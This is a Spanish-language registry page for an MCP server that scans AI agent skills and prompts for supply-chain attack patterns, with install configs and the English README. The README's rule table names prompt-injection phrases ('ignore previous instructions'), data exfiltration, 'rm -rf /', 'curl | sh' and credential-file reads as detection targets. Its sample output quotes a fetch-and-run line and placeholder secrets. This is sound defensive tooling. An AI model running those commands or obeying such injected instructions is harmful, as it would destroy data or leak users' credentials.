Context7
Up-to-date docs for AI agents
Descripción del creador (original en inglés)
Audit agent skills/prompts against 8 supply-chain attack patterns. Deterministic, no-LLM scanner.
Estos tres nunca se combinan en una sola puntuación: las opiniones, las mediciones y la popularidad son cosas distintas.
Todavía no escribimos un resumen sencillo para este. Abajo están los datos que leímos del registro.
Elige la app de IA que usas y copia la configuración.
Necesitas
¿Qué app usas?
Elige tu app arriba. La recordamos, así que la próxima vez el botón dirá “Instalar en …”.
Abre Claude Desktop → Settings → Developer → Edit Config y pega esto en claude_desktop_config.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Ejecuta esto en tu terminal
claude mcp add skill-sec -- uvx mcp-skill-secPégalo en .cursor/mcp.json de tu proyecto, o en ~/.cursor/mcp.json
{
"mcpServers": {
"skill-sec": {
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
Pégalo en .vscode/mcp.json de tu proyecto
{
"servers": {
"skill-sec": {
"type": "stdio",
"command": "uvx",
"args": [
"mcp-skill-sec"
]
}
}
}Tu navegador te pide permiso para abrir la app; luego la app muestra la configuración y te pide confirmar. Los valores de las claves quedan vacíos para que los completes tú.
Este se ejecuta en tu computadora, y ChatGPT solo puede conectarse a servidores en internet. Elige otra app.
Tu elección se guarda en una cookie en este dispositivo; no necesitas cuenta.
Esta configuración se genera a partir de la ficha del creador en el registro. Si el README dice otra cosa, sigue el README.
Se ejecuta en tu computadora; la lista de herramientas aparece en tu app de IA después de instalarlo.
Revisamos información que cualquiera puede ver; no hemos leído el código. Las revisiones que no aplican no se cuentan. · Revisado el 6 nov 2026
El nombre en el registro se verificó con la cuenta de GitHub sudo-ai-git, dueña del repo
Todavía no hemos leído este repo en GitHub
Todavía no hemos leído este repo en GitHub
Este se ejecuta en tu computadora; no hay endpoint en internet
Se ejecuta en tu computadora y usa ajustes locales en su lugar
Se ejecuta en tu computadora; solo podemos leer listas de herramientas de endpoints en internet
Comparado con todos los servidores activos de esta categoría en el registro. Las estrellas solo cuentan cuando quien lo publica es dueño del repo.
Superó 1 de 1 revisiones básicas aplicables. No hemos leído el código. Antes de agregar una clave o un token, revisa qué acceso pide el servidor y usa una clave que tenga solo los permisos que necesitas.
El registro no indica ninguna clave obligatoria, aunque algunos servidores te piden iniciar sesión la primera vez que los usas.
Se ejecuta en tu computadora. Tu app de IA lo inicia cuando hace falta, y los datos no pasan por los servidores del creador (a menos que el propio servidor llame a un servicio en línea).
El repo de GitHub cambió por última vez –, y la última versión (1.0.0) llegó al registro hace 2 meses.
Las apps compatibles con MCP, como Claude Desktop, Claude Code, Cursor y VS Code. También necesitas Python (uv) en tu computadora.
En la misma categoría: Context7, Codebase Memory, Exa
Servidores de la misma categoría hechos por otros creadores, ordenados por estrellas.
Cómo leer una tarjeta:★ Estrellas de GitHubiTres pilares: reseñas · revisiones · usoiActualizado = fecha en que se publicó la última versión en el registroi
Up-to-date docs for AI agents
Codebase knowledge graph for AI agents — 162 languages, sub-ms queries, 99% fewer tokens.
Connect AI agents to Exa for web search, content fetching, and multi-step research.
Copiado tal cual del repo del creador. PopNx MCP no lo ha revisado ni lo respalda. Se quitaron HTML, imágenes y scripts. Los enlaces llevan fuera de este sitio.
A Model Context Protocol (MCP) server that audits any agent skill, system prompt, or downloaded file collection against the 8 malicious-skill supply-chain patterns.
Deterministic, no LLM, no network calls — a self-hostable pre-install scanner that works with Claude Code, Cursor, Copilot, OpenClaw, Codex CLI, and any MCP-compatible agent.
| Rule | Pattern | |
|---|---|---|
| R1 | Prompt injection / instruction hijack (ignore previous instructions, secrecy directives, identity overrides) | |
| R2 | Data exfiltration intent (send/post/email contents to a URL, log theft) | |
| R3 | Hardcoded secrets / credentials (API keys, PATs, private keys, connection strings) | |
| R4 | Dangerous commands (rm -rf /, `curl \ | sh`, fork bombs, raw device writes) |
| R5 | Obfuscation / hidden behavior (base64-exec, eval/exec, zero-width chars) | |
| R6 | Untrusted external fetches (fetch-and-run, non-PyPI installs) | |
| R7 | Credential access (reading ~/.ssh, .aws/credentials, .env) | |
| R8 | Privilege escalation (sudo -s, setuid, adding to sudo group) |
Each finding carries a severity (critical/high/medium/low), a line number, and the matching evidence line. The overall verdict is PASS only when there are no critical/high findings and every medium finding is benign.
audit_text(text, filename) — audit a string (a skill you were pasted, a system prompt you didn't write).audit_skill_file(path) — audit a SKILL.md / AGENTS.md / CLAUDE.md on disk, line-numbered evidence.audit_directory(path, pattern) — audit a whole downloaded skills collection; returns per-file verdicts + a summary.rule_list() — dump the rule catalog.One command (recommended) — installs from the repo, no PyPI token needed:
uv tool install git+https://github.com/sudo-ai-git/mcp-skill-sec
mcp-skill-sec # run stdio server mcp-skill-sec --http --port 8137 # or Streamable HTTP for remote use
Or with pipx: pipx install git+https://github.com/sudo-ai-git/mcp-skill-sec
Direct from source (fallback):
pip install mcp
python3 mcp_server.py # run stdio mcp install mcp_server.py --name skill-sec # register with Claude Desktop
{
"mcpServers": { "skill-sec": { "command": "mcp-skill-sec", "args": [] } } }
skill-sec: /tmp/downloaded-skill/SKILL.md
verdict : FLAG counts : critical 1, high 2, medium 1, low 0 R3 [critical] line 11: api_key = "sk-live-…" R3 [high] line 14: password = "hunter2" R4 [critical] line 22: curl https://x/y.sh | sh action : remove the literal secrets, drop the fetch-and-run, re-audit
This is one of three deterministic, no-LLM agent-trust MCP servers by sudo-ai-git:
mcp-skill-sec — pre-install skill/security audit (this repo)mcp-verify-claim — evidence-gated, honestly-tiered claim reportingmcp-benchmark-hygiene — pytest config-leakage / eval-honesty detectionSibling product: mcp-token-saver — token-cost proxy + analyzer for agent conversations (dedupes redundant tokens before they're billed; live-proven 74% cut). Discussion
Also in the family (a free CLI, not an MCP server): harness-audit — deterministic agent-eval / benchmark-grading hygiene audit that catches the same silent config-leakage mis-scoring class. Free lead-magnet; the same verification discipline, zero dependencies, auditable line-by-line.
MIT. Written by sudo-ai-git. This is a standalone security/verification tool; it encodes no proprietary method. It is the MCP expression of the skill-sec agent skill (same rules, callable as a server instead of a skill).
mcp-name: io.github.sudo-ai-git/mcp-skill-sec
Need this connected to *your* internal system (auth, logging, security-scan pass, hosted)? Open a custom-build request. MIT reference assets are free to use either way.